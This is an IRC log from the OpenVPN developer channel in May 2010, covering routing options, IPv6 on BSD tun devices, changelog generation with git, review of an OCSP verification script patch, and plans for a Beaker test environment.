client, yes 14:31 < krzee> to the already connected ones, only when not using lowered permissions 14:32 < krzee> however, that doesnt matter since the routing protocol handles that, so really like you said only iroute table needs adjusting 14:33 <@dazo> ecrist: seems the irc log is outdated .... 14:35 < ecrist> ecrist: yes, I've got a hardware failure 14:35 < ecrist> haven't fixed that. will work on it soon. 14:36 <@dazo> oki 14:36 < reg9009> krzee: but imagine windows clients, where dynamic routing protocols aren't really good (and easy) to implement. 14:37 < reg9009> it could make sense to update their routing through openvpn 14:37 < krzee> and where they dont drop permissions either 14:37 < krzee> thats true 14:37 < reg9009> exactly... 14:37 < krzee> sounds like another flag to iroute adaptive 14:38 < krzee> iroute adaptive addroute 14:38 < krzee> iroute [[adaptive [addroute]] 14:39 <@cron2> we have "iroute adaptive" already? or is that the new patch? 14:40 < reg9009> I think it is just a speaking name for functionality... 14:40 <@cron2> ah :) 14:41 < reg9009> there are functions to modify internal routing, already. 14:41 < reg9009> mroute_something... 14:42 < reg9009> helper functions... 14:42 <@cron2> reg9009: yes, this is needed at client connect/disconnect time already, so using this for more dynamic stuff is a good start 14:43 <@cron2> the tricky thing I see is "make sure that everything gets cleaned up on client-disconnect" 14:43 < reg9009> not really... 14:43 <@cron2> but it might do this automatically anyway "whatever points there, clean it up!", no matter how it actually got there 14:43 <@cron2> (I seem to remember that I didn't have to do explicit IPv6-iroute cleanup either) 14:43 < reg9009> that's the way it works... 14:44 < reg9009> oh, btw., we only treat IPv4, yet. 14:44 <@cron2> it's a while since I looked at these bits... 14:44 <@cron2> reg9009: boo 14:44 < ecrist> dazo: I had just moved all that logging stuff to troy.mcclure when it died, I have yet to move it to the new location and I'm at BSDCan this week. 14:44 <@cron2> reg9009: IPv4 is the networker's COBOL... 14:44 <@cron2> ... really legacy stuff... 14:44 < reg9009> though I'm a network expert, I can't get used to that IPv6 adressing stuff, etc. ;) 14:45 <@cron2> reg9009: if there is anything you want to know, feel free to ask. IPv6 has been sort of my hobby and mission for the last 15 years... 14:45 <@cron2> (but basically, it's "IPv6 is the same as IPv4, just the addresses look funny") 14:46 < reg9009> clear ip bgp ffff::ab:cd:66:.... 14:46 < ecrist> a bit more to it than that, at the core... 14:46 < reg9009> to clear a neighbour. 14:46 < reg9009> hmm, no, I don't really get used to it... ;) 14:47 <@cron2> reg9009: well, "clear bgp ipv6 2001:608::123", but basically, yes :-) 14:48 <@cron2> ecrist: well, depends. Everything you know about "TCP, UDP" and protocols on top of that is still valid, everything you know about L2 networks is still valid. The concepts of IP routing (subnet mask / CIDR bit length, OSPF, RIP, BGP) are still valid 14:48 <@cron2> if you need to implement parsing or printing of IPv6 addresses, of course the code looks different 14:49 < ecrist> sure, but packet headers are a lot different, there is no such thing as ARP for IPv6, it's all done in ICMP6, etc. 14:49 <@cron2> but then, if you write a perl socket client using IO::Socket::INET6, all your code is automatically completely IP-version-agnostic... 14:49 <@dazo> ecrist: no rush ... I didn't know this was related to the hardware issues ... don't stress with this, it can wait until you're back 14:49 <@cron2> ecrist: yes, of course. But the question is: unless you need to implement IPv6 packet handling code - does it *matter* how the headers look like? 14:49 < ecrist> sure, at the application layer they're going to essentially be the same, I was talking at a lower level. 14:50 < ecrist> problably not 14:50 <@cron2> I have seen enough intro slides to IPv6 that spend a number of slides on "header formats", and over the years, I've come to the conclusion that 99% of the readers don't really care :-) 14:50 <@cron2> readers/listeners 14:51 <@cron2> they want to know "what is changing for me as a user/network admin/sysadmin" - and it's really primarily "the addresses look funny". But of course the devil is in the fine print :-) (firewall rules killing ICMPv6 neighbour discovery...) 14:51 < reg9009> anyway, I think passing IPv6 routes later on sholdn't be such a problem. 14:51 < ecrist> I've sat through 2 EXTREMELY low-level seminars today and tuesday to know more about IPv6 than I really wanted to. ;) 14:51 < reg9009> Basic logic will be there... 14:51 <@cron2> ecrist: oh? so what did they cover? 14:52 < ecrist> the IPv6 packet handling source in the *BSD kernel, to start 14:52 <@cron2> reg9009: the openvpn-testing branch has IPv6-on-tun support with the bits needed for mroute handling with IPv6, so it shouldn't be overly hard 14:52 <@cron2> ecirst: wow, cool 14:52 <@cron2> ecrist even :) 14:52 < ecrist> then there was a session on IPv6 security implementation and attack vectors 14:52 * cron2 cant't type "ecrist" 14:53 <@cron2> ecrist: it's good to see this happen :-) 14:54 < waldner> it means miscreants are moving to IPv6, finally :) 14:54 < ecrist> on top of that, I had a pf class that went deep into packet header stuff and just finished a packet scheduling session that went FAR deeper than I cared about (all the way down to the intricacies of the algorithms used and why X was better Y and Z) 14:55 < ecrist> now I'm in 'Everything you need to know about cryptography in 1 hour' 14:55 <@cron2> ok, if you go to *that* detail, the differences between IPv4 and IPv6 are huge :)) 14:55 < ecrist> :) 14:55 <@cron2> (... don't get me started about IPv4/IPv6 handling in the *BSD tun implementation...) 14:56 < ecrist> you're welcome to fix it... ;) 14:56 <@cron2> too late 14:57 <@cron2> $someone decided that it would be a good thing to prepend the address family to packet data "if the tun device is in multiple-af mode" 14:57 < ecrist> I'm rubbing shoulders and drinking beers with many of the core kernel hackers. 14:57 <@cron2> eventually all other *BSDs adopted this, so nowadays we have ugly code in OpenVPN tun.c to add/strip the extra u_int32 word, and ugly code in the kernel do to the same thing, instead of just using the IP version field which is there anyway 14:57 <@cron2> if you turn off "multi-af" mode, the kernel will drop all IPv6 packets 14:58 < reg9009> as of this discussion, I see good chances to adopt our code, which is linux specific, to *BSD as well :) 14:58 <@cron2> since this affects all BSDs (Free, Net, Open, Dragonfly) and a number of tun-using apps, I don't think this can be changed now 14:59 < ecrist> oh, it can be changed, that may just create more work than it's worth, though. 15:01 <@cron2> it would add extra code, and variants (old userland process / new userland process) that one would have to maintain for years to come, and then you run into political wars, and eventually one of the *BSDs would decide "we don't want this! never!" and then you have even worse mixup everywhere 15:06 < reg9009> ok, guys. I have to leave 15:07 < reg9009> until next time... 15:07 < reg9009> bye 15:07 <@cron2> good night 15:07 -!- reg9009 [~chatzilla@ip-95-223-199-86.unitymediagroup.de] has left #openvpn-devel [] 15:11 * cron2 will also go to bed now - good night everyone 15:20 -!- dazo is now known as dazo_afk 18:00 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] --- Day changed Fri May 14 2010 01:39 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:46 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-htvmaotgeuutpsyl] has joined #openvpn-devel 06:17 -!- dazo_afk is now known as dazo 10:43 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:54 -!- Bloodsong [~Nimbus@70.50.177.230] has joined #openvpn-devel 11:03 -!- waldner_ [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:04 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-htvmaotgeuutpsyl] has quit [Disconnected by services] 11:04 -!- waldner_ is now known as waldner 12:26 * ecrist runs test for commit of openvpn-devel week 19 FreeBSD port 12:32 < ecrist> dazo: you around? 12:32 <@dazo> ecrist: yupp! 12:32 <@dazo> cool! 12:32 < ecrist> what 'extras' are in devel that's not in 2.1.1? 12:33 <@dazo> ohh ... that's a "big" question 12:33 < ecrist> yes, just need cliff's notes, really 12:33 < ecrist> I'm writing a file to output for the port that lists what's new. 12:33 <@dazo> something like some hundred patches or so ... complete IPv6 payload + transport feature, several bugfixes, eurephia support ... 12:33 * dazo checks the changelog 12:34 <@dazo> bash -> shell cleanup in example scripts 12:34 <@dazo> Allow 'lport 0' setup for random port binding 12:35 <@dazo> Make use of counter_type instead of int when counting bytes and network packets (fixes overflow bug) 12:35 <@dazo> Enhanced contrib/pull-resolv-conf/client.{up,down} scripts 12:35 < ecrist> is the changelog within git, or is that external? 12:35 <@dazo> it's in git 12:36 <@dazo> git log master..allmerged 12:36 <@dazo> but as a lot of merges are there ... it is a bit confusing 12:36 * dazo haven't figured out a better log command yet, but it most probably exists 12:36 < ecrist> do you think, rather than going by git log, we could have a 'Changelog' file, that had the hilights? 12:36 < ecrist> i.e. not every little bug? 12:37 <@dazo> ugh ... that file is easy to forget to maintain ... better to create a script which parses git log 12:37 < ecrist> we would need the developers to tag specific logs for inclusion 12:38 < ecrist> start with [cl] or somesuch 12:39 <@dazo> yeah, maybe ... but from experience ... that'll never fly .... developers forget when writing commit logs .... it's usually hard enough to make them write a decent commit log 12:39 < ecrist> true 12:39 < ecrist> most of my VCS experience is in a commercial environment (i.e. write good commit messages or you're fired) 12:39 <@dazo> easier to make a script, and then clean up by removing "uninteresting" commits 12:40 < ecrist> OK. something I'll add to my plate. 12:41 <@dazo> git log --no-merges --abbrev-commit --pretty=oneline origin/master..origin/allmerged 12:42 <@dazo> ecrist: ^^ that gives a little quick overview 12:43 < ecrist> thanks 12:43 <@dazo> git log --no-merges --abbrev-commit --pretty=oneline origin/svn-BETA21..origin/allmerged ... this might be even better 12:43 <@dazo> hmmm 12:43 <@dazo> no 12:44 <@dazo> git log --no-merges --abbrev-commit --pretty=oneline v2.1.1..origin/allmerged ... this is better - it takes only changes from v2.1.1 release and to the latest allmerged change 12:46 <@dazo> hmmm 109 unique commits ... that's quite a change-set since jan 12 13:05 < ecrist> ok, submitted week 19, should be a few days before commit 13:07 <@dazo> nice! :) 13:09 < waldner> dazo: did you have a chance to look at my patch re --ping/--inactive? 13:09 < waldner> http://article.gmane.org/gmane.network.openvpn.devel/3690/ 13:09 < vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 13:13 <@dazo> waldner: I've looked briefly at it ... and I sent an explicit mail to James for him to comment it - but I've not heard anything ... the code path you touch here is a bit unknown for me, and is one of the more confusing code paths for me, so I just want to be sure I don't overlook something 13:13 < waldner> ah fair enoough 13:13 < waldner> just wondering 13:13 <@dazo> waldner: it seems simple and clean enough ... but, I'm just surprised that c->c2.buf.len isn't 0 on ping packets already ... and if it isn't, then I wonder why it isn't 13:14 < waldner> yes 13:14 < waldner> agreed 13:14 < waldner> it does seem to work though, but of course more review is neede 13:14 < waldner> *d 13:15 <@dazo> but thanks a lot for your patch! somehow, I forgot to pull that one in in the agenda for yesterdays meeting, so I'm sorry for that! 13:15 < waldner> no problem at all! 13:16 < waldner> I was just curious, because not seeing feedback I couldn't know if it had been missed or not 13:16 <@dazo> and that's good that you nag us here for such things :) I am of the opinion that all patches shall receive feedback, if not - then it's forgotten 13:16 < waldner> and currently there are certainly more important priorities, so... 13:17 < waldner> ok 13:17 < waldner> well, speaking of nagging then.. 13:17 <@dazo> if you spot other patches as well, please feel free to point them out :) 13:17 < waldner> there is actually another one 13:17 < waldner> even less critical 13:17 * dazo had a feeling of that .... 13:17 <@dazo> :) 13:17 < waldner> :) 13:17 <@dazo> shoot! 13:17 < waldner> it's the one about the OCSP shell script, let me dig it 13:18 < waldner> http://article.gmane.org/gmane.network.openvpn.devel/3656/ 13:18 < vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 13:18 < waldner> you commented, I replied, then nothing more 13:18 < waldner> did my reply make sense at all? 13:19 <@dazo> gah! that's embarrassing! 13:19 * dazo tries to recall why this is hanging 13:19 < waldner> it seems gmane doesn't carry the two follow-ups though 13:19 < waldner> but I'm sure you have them in your inbox 13:20 <@dazo> yupp ... I have the initial one ... but for some strange reason not my response ... 13:20 < waldner> let me check my inbox 13:21 < waldner> hah, you sent it to me privatley 13:21 <@dazo> aha ... and your response did not get filtered to openvpn mails 13:21 < waldner> my reply to that was both to you and the list though 13:22 < waldner> (because I hadn't noticed your email was private, sorry) 13:22 <@dazo> no prob! these mails should be public, that's my mistake :) 13:22 < waldner> actually, I hadn't noticed until now that I checked! 13:22 <@dazo> (I write in the body text when I deliberately takes them off-list) 13:22 < waldner> ok 13:24 <@dazo> to be very honest, I'm not sure it has any benefits of checking openssl exit status at all .... either it gives a /0x${serial}: good/ result .... or the rest is error 13:25 < waldner> well, for example it could fail the response validation 13:25 <@dazo> I can't imagine it would return a 'good' result, while being wrong 13:25 < waldner> see above 13:25 < waldner> it may receive a reply containing "good", but it may not be able to verify the signature 13:25 < waldner> (because the user misconfigured it, or whatever) 13:25 < waldner> I'd let the user decide how to treat such cases 13:26 <@dazo> but would openssl in that case give /0x${serial}: good/ ? 13:26 < waldner> yep 13:26 <@dazo> really?!? that's really dirty result! 13:26 < waldner> but it would output something like "Warning: unable to verify signature" before 13:26 < waldner> yes, it's weird 13:26 <@dazo> aha! 13:26 < waldner> technically, the "good" part is merely the contents of the reply 13:26 < waldner> so it just prints it 13:27 <@dazo> well, that changes the situation drastically ... I expected openssl to respond defensively by default 13:27 < waldner> and regardless, I feel that checking it separately is more flexible 13:27 <@dazo> yup ... well, in this case, I'm changing my opinion 13:27 < waldner> another weirdness is that if the certificate is revoked, the reply contains "blahblah:revoked" 13:28 < waldner> but then the exit status is still 0! 13:28 <@dazo> well .... it didn't give a warning :-P 13:28 < waldner> (but I'm handling that, because in that case I explicitly look for "good") 13:28 <@dazo> yupp 13:29 < waldner> so (although, as I said, it's not implemented) 13:29 < waldner> one could check the exit status of openssl, and having non-zero would indicate "external" errors 13:29 <@dazo> with misconfig and the warning situation ... openssl should return "blabla: unverified", IMO 13:29 < waldner> like network error or stuff like that 13:29 <@dazo> yeah ... nah, I'll ACK this patch during the weekend 13:30 < waldner> if that returns 0, then a subsequent check makes sure that the response really contains "good" 13:30 < waldner> I admit that I was very surprised by that behavior 13:30 < waldner> and indeed, my first script was just running openssl and returning whatever exit status it returned 13:30 < waldner> but turned out to be wrong 13:31 <@dazo> but this is some of the critics openssl often gets ... poorly documented (even though what is document is often very good), and not consistent behaviour 13:31 < waldner> yes, to be honest I wasn't able to find the exit status documented anywhere 13:31 < waldner> every decent man page has a section on exit statuses 13:31 * dazo has not dared to look inside the openssl source code .... 13:31 * dazo is afraid he'll get nightmares 13:32 < waldner> I did, that's where I had the confirmation of my suspicions 13:32 <@dazo> perfect! :) 13:32 < waldner> now as I said this makes the code a bit weird 13:32 < waldner> because I need to capture the output of openssl, then echo it to grep 13:32 <@dazo> definitely ... but now I understand why, that's the important thing 13:33 < waldner> but that makes it possible to test with more granularity 13:33 * dazo wants to be critical but not unreasonable :) 13:33 < waldner> in short, if you look at the code, there is a number of checks that have to be successful for the script to return success 13:33 < waldner> the must all pass, anything else returns failure 13:34 <@dazo> yupp 13:35 < waldner> and after all, let's not forget that it's just a sample, so while I agree that it should be reasonably working "out of the box", if one is really interested they can edit it and make it behave the way they like 13:35 < waldner> or write an entirely new one based n that, for that matter 13:35 <@dazo> do you mind if I add a sh comment in your patch when committing it? Just before the openssl call, just notifying that openssl need to be checked for both $status and $? ... because of this odd result with misconfigs? 13:35 < waldner> yes sure 13:35 <@dazo> thx! 13:35 < waldner> np 13:36 <@dazo> well, my experience is that 95% of all example code are put into production without changes as long as it works .... and the minority of them have even studied the example code 13:37 < waldner> yes, but we took care of that already, as it wil not run if the user doesn't do a minimal customization 13:37 < waldner> which means that they should *at least* open it with an editor and change/uncomment some lines 13:37 <@dazo> I worked in a place where we even shipped a demo SSL certificate for online payment transactions .... with this certificate, the transactions was "accepted" as it was just for demo .... and then the client wondered why he didn't get any money from his card acquirer 13:37 < waldner> lol 13:38 < waldner> yes, unfortunately horror stories like that one are quite common 13:38 <@dazo> but I'll consider this one closed now ... I'll ACK it during the weekend and pull it into the tree! 13:39 < waldner> ok, maybe I'll do some more testing tomorrow just to be 100% sure 13:39 < waldner> but yes, I think it should be safe to ACK it 13:40 <@dazo> perfect :) I'll probably not manage before Sunday ... got quite a long todo list this weekend, unfortunately openvpn don't hit the top of the list this weekend :-P 13:40 < waldner> ah no problem 13:40 < waldner> actually that's good as it gives me time to do some testing tomorrow 13:40 < waldner> it's been many days already...while I'm pretty sure I had tested it thoroughly, I've forgotten the details, so better recheck to be sure 13:41 < waldner> sounds silly, but I had written another script to automate the tests 13:41 < waldner> so I will rerun that 13:42 <@dazo> if you want to write more automated tests for openvpn stuff, that would be awesome ... we need to have more tests which we can run regularly 13:44 < waldner> well, if you think it's something that can be implemented using scripting (shell, perl, awk or whatever) I may try to help 13:44 < waldner> is there something available already? 13:46 <@dazo> yeah, I believe it is .... t_*.sh .... one of them is even used during 'make check' 13:46 < waldner> I'll have a look 13:47 < waldner> and another thing about OCSP 13:47 <@dazo> shell, perl, awk, python .... that's all suitable stuff for such tests 13:47 < waldner> you *did* merge my original script, and that *is* wrong 13:47 <@dazo> yaikes ... really? 13:47 < waldner> so the latest one we've been discussing can't be worse that that 13:47 < waldner> yep 13:47 <@dazo> commit 020ed3f807853b8522fbfaefef0595d54bc5b1dd? 13:48 <@dazo> very good point! 13:48 < waldner> it came together with the fix to export serials in the environment 13:48 <@dazo> true! 13:48 * dazo promise to fix asap this weekend 13:48 < waldner> :) 13:49 < waldner> bbl 14:13 -!- dazo is now known as dazo_afk 15:53 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 15:58 -!- Bloodsong [~Nimbus@70.50.177.230] has quit [Read error: Connection reset by peer] 16:55 < ecrist> ping dazo 16:56 < ecrist> being at BSDCan and all, I went and ribbed a comitter. week 19 devel port is in the tree now 16:56 < ecrist> also, talked to Scott Ullrich @pfsense. they default to openvpn-devel for pfSense 2.x, and 1.x is on the stable port. 17:38 < krzie> badass 17:40 < krzie> dazo_afk, i didnt realize we needed some stuff scripted... im down to work with waldner on that if needed 17:40 < krzie> i mostly do bash but could use an excuse to jum into python 17:40 < krzie> jump* 19:32 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has joined #openvpn-devel 19:35 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 19:38 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Client Quit] 20:37 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has quit [Ping timeout: 258 seconds] --- Day changed Sat May 15 2010 04:16 -!- InfoAddict [~ios@60-242-254-22.static.tpgi.com.au] has joined #openvpn-devel 12:51 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has joined #openvpn-devel 13:58 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has quit [Quit: Leaving] 14:23 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 14:53 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: Leaving] 15:02 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 18:57 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 20:00 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has joined #openvpn-devel 20:06 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has quit [Ping timeout: 265 seconds] 20:17 -!- astrophy [~astrophy@95.211.87.138] has joined #openvpn-devel 21:26 -!- astrophy [~astrophy@95.211.87.138] has quit [Quit: Bye] 21:28 -!- astrophy [~astrophy@67.159.28.182] has joined #openvpn-devel 22:22 -!- krzee [~k@unaffiliated/krzee] has quit [Read error: Operation timed out] 22:26 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 23:33 -!- InfoAddict [~ios@60-242-254-22.static.tpgi.com.au] has left #openvpn-devel [] --- Day changed Sun May 16 2010 01:22 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 01:34 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 01:34 -!- krzii [~k@ftp.secure-computing.net] has joined #openvpn-devel 05:55 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 07:21 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 14:10 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 16:38 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has joined #openvpn-devel 16:44 < krzii> is VLAN patch in the devel snapshot? 16:57 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has quit [Read error: Connection reset by peer] 16:58 -!- krzii is now known as krzie 16:58 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 16:58 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 16:59 -!- astrophy [~astrophy@67.159.28.182] has quit [Quit: Bye] 17:15 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has joined #openvpn-devel 18:01 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 18:28 -!- Bloodsong [~Nimbus@bas13-toronto12-1167983118.dsl.bell.ca] has quit [Read error: Connection reset by peer] --- Day changed Mon May 17 2010 01:09 -!- krzee [nobody@unaffiliated/krzee] has quit [Ping timeout: 260 seconds] 03:05 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:06 -!- dazo_afk is now known as dazo 03:06 <@mattock> wow, Trac is still up after week of neglect :) 03:10 <@dazo> krzie: VLAN patches are not in devel-snapshots yet ... they are still waiting review from someone who can understand the code better ... and/or some real testing is needed ... now it is only lightweight tested by developer .... if someone can pull the git tree, checkout the feat_vlan_tagging branch and run a complete test there and makes it working fine, then I'm pretty fine with the including it .... the challenge with VLAN patch-set is 03:10 <@dazo> that it is based upon the feat_passtos branch which is not accepted - and it has not received any testing with public reports 03:11 * dazo is seriously beginning to consider to scrap feat_passtos due to lack of feedback 03:13 <@dazo> mattock: how's the load on the trac server? 03:13 <@mattock> haven't checked yet - I'd need to start gathering data with some tool 03:13 <@mattock> btw. did anything spectacular/interesting happens last week? 03:13 <@dazo> mattock: btw ... I have the transcript of the OpenVPN meeting ... we discussed mostly roadmap and then just a few issues extra, but I have not had time to summarize it yet :( 03:14 <@mattock> ok, no probs 03:14 <@mattock> in fact, I'm glad that Trac is still up :) 03:14 <@dazo> :) 03:30 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-bggdnqnacksvpyhe] has joined #openvpn-devel 04:05 <@dazo> mattock: do you think OpenVPN Technologies will be able to provide some hardware for test environments? ... just reading through https://fedorahosted.org/beaker/wiki/SetupHOWTO 04:05 < vpnHelper> Title: SetupHOWTO - beaker - Trac (at fedorahosted.org) 04:06 <@dazo> (could probably also be virtual machines as well which performs the tests itself) 04:06 <@mattock> depends on how much hardware is needed 04:06 <@mattock> if a lot, then I'll have to ask Francis to allocate some $$$ to it 04:08 <@dazo> I'd say if we can have 3-4 virtual machines allocated for test purpose ... and then 1 vm for a beaker server, then we should be pretty much in shape for a "starter kit" 04:08 <@mattock> how much memory? 04:08 <@mattock> 512MB each? 04:09 <@mattock> do they have to be fully virtualized (e.g. as opposed to Xen or OpenVZ) 04:09 <@dazo> the beaker server might benefit with 1GB ... the rest could probably do with 512MB ... as long as it runs the distros we want to do test on runs fine 04:10 <@dazo> mattock: I don't know OpenVZ ... but Beaker uses cobler to provision a scratch install of OS for each test run 04:10 <@mattock> lemme check cobler 04:10 <@dazo> https://fedorahosted.org/cobbler/ 04:10 < vpnHelper> Title: cobbler - Trac (at fedorahosted.org) 04:11 <@mattock> yep, so OpenVZ won't work (it's OS-level, like "jail on steroids") 04:11 <@dazo> yeah, that's what I thought 04:12 <@dazo> but if we get Beaker up'n'running for Linux ... we could check out what's needed to port to make it work with *BSD as well 04:12 <@mattock> I'll send mail to andrew and patel right away about this 04:12 <@dazo> even though, Beaker is mostly Python ... so porting should be a breeze 04:13 <@dazo> If someone in OpenVPN company could take the task to setup a Beaker environment, which can be accessible for the community (at least to review test reports) ... that would really be a big step towards our testing needs 04:14 <@mattock> agreed 04:15 <@dazo> the community could help writing test scripts when we have the environment ready ... but it's the environment which needs to be in place first 04:15 <@mattock> the "someone" would probably be me :)... however, there's quite a lot of work in my queue already 04:15 <@dazo> :) 04:16 <@mattock> now, thinking this is a bigger context... how about creating a wiki page with high-level development goals and then thinking about the tools used to solve them. In essence "this part of the development process works, this needs more work, these issues have not been yet solved" 04:17 <@mattock> to get a better picture of what we still need to do to make things go smoothly and in an organized fashion 04:17 <@dazo> high-level TODO and status report page, in other words :) 04:17 <@dazo> I agree 04:18 <@mattock> I was thinking of something with lots of fancy software engineering terminology which nobody understood or could comment on... and which would serve no purpose :) 04:18 <@mattock> and would have lots of errors in it, too ;) 04:18 <@dazo> but it would make managers happy! :-P 04:26 <@mattock> yep 04:27 <@mattock> I'll try to write down something like that - but which would actually be useful 04:28 <@dazo> I'll fill in the details along your guidelines then ... if I find something missing :) 04:39 <@mattock> I sent the mail about beaker vm's 04:43 <@dazo> I can probably help figuring out parts of the Beaker challenges during setup, or point at someone who might be able to help further ... but I believe, unless someone has found a better solution than beaker, beaker is a good starting point for us now 04:49 <@mattock> what exactly could we use beaker for? I assume testing new versions of OpenVPN against a set of OS'es / configurations, but what else? 04:50 <@mattock> ...heading for lunch 05:09 -!- HotaruT [massar@bratwurst.unix-ag.uni-kl.de] has quit [Ping timeout: 248 seconds] 06:05 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-bggdnqnacksvpyhe] has quit [Quit: Page closed] 06:07 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-tqncepxkegtnwqzy] has joined #openvpn-devel 06:46 -!- Brayn [~Brayn@89.39.174.245] has joined #openvpn-devel 06:46 -!- Brayn [~Brayn@89.39.174.245] has left #openvpn-devel [] 07:45 <@dazo> mattock: Beaker is a testing framework ... so it can be used to test software in general on multiple distros and architectures, always providing an expected starting point 07:47 <@dazo> Beaker has an inventory (smolt) over available test hosts (which can be physical and virtual machines), then it has the provisioner (cobler) which installs predefined OS setups and a scheduler which uses smolt to find a suitable host for a test case, and then cobler to provision the host ... when the host is ready, it will run test scheduled test and report back the results 07:48 <@dazo> This includes complete logs over all configured log files, boot screens, dmesg, etc etc ... so that if a test fails, you might have pretty good chances to figure out why it failed 07:49 <@mattock> do the tests test external behavior of the program? or do they also test the code itself? 07:49 <@dazo> Then you have the watchdog and fence-agent which will make sure that a test do not run forever, but at a defined run time of the test, the test will be forcefully aborted 07:51 <@dazo> In situations where you need to debug things even more, it's also sometimes good to test it out on a specific setup as the Beaker test did run under - then you can reserve a test machine for some time, and log into it as a fresh install and run the test manually 07:51 <@dazo> that way, it's easier to test out fixes or debug odd issues which are distro/arch specific 07:52 <@dazo> To answer "do the tests test external behavior of the program? or do they also test the code itself?" Each test is a script, usually a shell or python script 07:52 <@dazo> so the test is defined in this script 07:54 <@dazo> but the test declaration/setup config may define that it is a so-called multi-host testing, requiring client-server testing ... then the scheduler will reserve the needed amount of boxes, wait for all to become available ... and then start the test scripts, each script in their client/server mode - according to the config 07:55 <@dazo> and the beakerLibs which use for the scripts, also allows for host-to-host synchronisation, to make sure each stage of the test is synchronised among all hosts 07:55 <@dazo> mattock: not sure if this answered your question ... 07:56 <@dazo> but basically, how much of the code itself which is tested, depends on the test script being run 07:56 < waldner> so is there a list of required tests for OpenVPN? ie, what do you want to test exaclty? 07:57 <@dazo> waldner: nothing which is written into code yet, which I know about ... except a few test scripts in the source tree 07:57 < waldner> yes, I looked at those 07:57 < waldner> they basically start a server and a client instance and have them connect to each other 07:57 < waldner> nothing special AFAICT 07:58 <@dazo> but we would need test scripts which would test p2p, multiple clients to one server ... with and without certificates, making usage of plug-ins, etc, etc ... separate tests for each feature is an advantage 07:58 < waldner> multihome too 07:58 < waldner> yes agreed 07:58 <@mattock> I think Beaker is strictly meant for making sure the application behaves correctly (on various platforms & configurations) 07:58 <@dazo> and some of these tests would be beneficial to run some stress tests on the tunnel 07:58 < waldner> and possibly a way to automatically run all the tests or selected ones 07:59 <@dazo> mattock: Beaker is for testing application behaviour, regression testing, and to do routine testing on code bases 07:59 < waldner> yes definitely, although the best testing for that would need real network links 08:00 <@mattock> testing that the code works properly internally has to be done with something else (some sort of unit testing)... although valgrind and such do part of this job already 08:00 <@mattock> or would, if it was used 08:00 <@dazo> waldner: true enough ... but that's a next step, how to manage that 08:00 < waldner> yes sure, that would be more useful for performance testing, rahter than mere correctness testing 08:01 <@mattock> krzie: just sent the mail to James about AS<->OpenVPN incompatibilities we discussed about 08:01 <@dazo> mattock: you have several testing approaches ... Beaker is more useful for stability testing, longer test runs which don't need people to watch over whats happening ... but you could write even beaker tests which would enable valgrind in the test script ... and then give a memory leak report after f.ex. an 8h run if client/server traffic 08:02 <@dazo> we need some test cases which takes care of a) functional testing, b) long-term testing and c) soak/stress testing 08:03 <@dazo> long-term testing would be testruns going for > 3-4 hours .... soak/stress would be to really load the tunnel and the server with client traffic 08:03 <@dazo> functional testing, would be separate tests, to validate the behaviour of each OpenVPN feature 08:05 < waldner> sounds like a good description 08:05 <@mattock> could we configure beaker to test various configurations in more or less automated manner to catch problems caused by two or more configuration parameters used simultaneously? 08:06 <@mattock> or do we just have to define a static set of OpenVPN configuration files which we test against? 08:06 <@dazo> mattock: if the test script is designed so, then yes 08:07 <@dazo> the test script can take parameters, to simplify the test scripts ... which then can make a mixture of such combinations ... and the logfiles would (should) then indicate which parameters which was in use 08:08 <@mattock> have you written any Beaker tests before? 08:08 <@dazo> I've even heard about some people using random generators to randomly setup features used when they have multiple clients accessing a server 08:08 <@dazo> mattock: it's a little while ago since last time ... and this is in the pre-Beaker time ... but yes, I have done that 08:09 <@dazo> Beaker is a renewed open-sourced test suite which Red Hat has used internally for several years 08:10 <@mattock> good... it feels as if configuring Beaker properly will not be trivial and will take a lot of time (if starting from scratch)... so we'd need to get assistance from other community members, too 08:10 <@mattock> e.g. to write the test scripts 08:10 <@mattock> setting up the Beaker environment is probably not that difficult 08:11 <@mattock> btw. I created a ticket about TCP-over-TCP here: 